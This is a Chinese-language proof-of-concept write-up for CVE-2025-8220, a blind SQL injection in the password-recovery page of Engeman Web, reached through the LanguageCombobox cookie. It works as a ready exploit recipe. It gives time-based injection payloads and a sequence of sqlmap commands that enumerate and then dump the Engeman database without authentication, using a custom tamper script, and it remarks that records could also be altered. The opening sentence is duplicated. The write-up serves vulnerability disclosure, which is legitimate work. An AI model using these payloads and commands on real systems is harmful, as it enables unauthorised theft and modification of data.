
针对CVE-2025-8220所描述漏洞的利用概念验证,该漏洞涉及Engeman Web软件在密码恢复页面加载过程中存在SQL注入的可能性。
关于CVE-2025-8220中所述漏洞的利用概念验证,该漏洞涉及在Engeman Web软件密码恢复页面加载过程中存在SQL注入的可能性。
在Engeman Web软件中发现了一个漏洞,该漏洞允许操作密码恢复页面加载时执行的SQL查询。此漏洞可由未持有任何有效凭证的访问者(即未授权方式)利用,从而危及应用程序数据库中存储的数据的机密性和完整性,并可能通过修改关键表中的值在组件层面造成拒绝服务。
访问应用程序并重定向到登录页面后,点击按钮以重定向到密码恢复页面。


检查浏览器为加载密码恢复页面而发出的请求。您会注意到存在一些Cookie,包括LanguageCombobox Cookie,该Cookie在初始访问期间存储。本演示使用Burp Suite软件以更高效地查看和重新发送浏览器请求。

为确认漏洞,将单引号作为所述Cookie的值插入并重新发送请求。应用程序的响应中应显示指示未闭合引号的错误。

查询结果不会直接显示在返回的页面上,因此这是一种盲注利用。您可以插入诸如 ' AND SLEEP(30)-- - 或 '; WAITFOR DELAY '0:0:30'-- 的有效载荷来推断底层数据库类型。

一旦确认注入,可以使用诸如 sqlmap 的自动化工具来导出数据库。
需要注意的是,--technique 参数必须包含值 SEB,以便使用基于堆叠查询、错误和布尔比较的技术。首先,因为必须进行盲注利用;其次,因为省略参数值中的 S 选项导致 sqlmap 无法在 SQL Server 数据库中找到注入点。
sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch

通过注入点将识别出不同的可能利用技术。之后,可以检索数据库信息。
sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch --dbs

sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch -D Engeman --tables

sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch -D Engeman -T <table> --columns

要使用 sqlmap 导出表记录,需要使用自定义的 tamper 脚本(至少对于 SQL Server 数据库),该脚本在此仓库中名为 replace-dbo.py。原因在于 sqlmap 使用格式 <database>.dbo.<table> 引用表对象的有效载荷与应用程序的处理发生冲突。所提及的 tamper 仅将其转换为格式 <database>.<table>。如果 Engeman Web 实例使用 MySQL 或其他数据库,则无需此 tamper,或需要创建另一个。


请记住,sqlmap 工具要求 tamper 脚本所在目录中存在一个名为 init.py 的空文件才能使用,如果你没有将其放置在安装的默认 tamper 目录中。
sqlmap -u https://<target>/Login/RecoveryPass --cookie 'LanguageCombobox=*' --level 5 --risk 3 --technique=SEB --batch -D Engeman -T <table> --dump --tamper <tamper-file>.py
此 tamper 如果在除特定表导出之外的任何阶段使用,都会引起冲突。因此,不要用它来获取数据库 (--dbs)、表 (--tables)、列 (--columns) 或其他信息,如数据库用户 (--current-user)。
由于应用程序用于与数据库交互的用户在系统记录上下文中拥有高权限,因此还可以操作底层查询来修改表记录的值(如果实例使用 SQL Server 作为底层数据库,这将更加容易)。



通过此漏洞,任何系统实例都可能受到未经授权的数据检索以及可能的数据修改的影响,这些数据存在于正在使用的数据库中。
该漏洞已在高达 12.0.0.1 的版本中得到确认,但较新的版本也可能存在漏洞。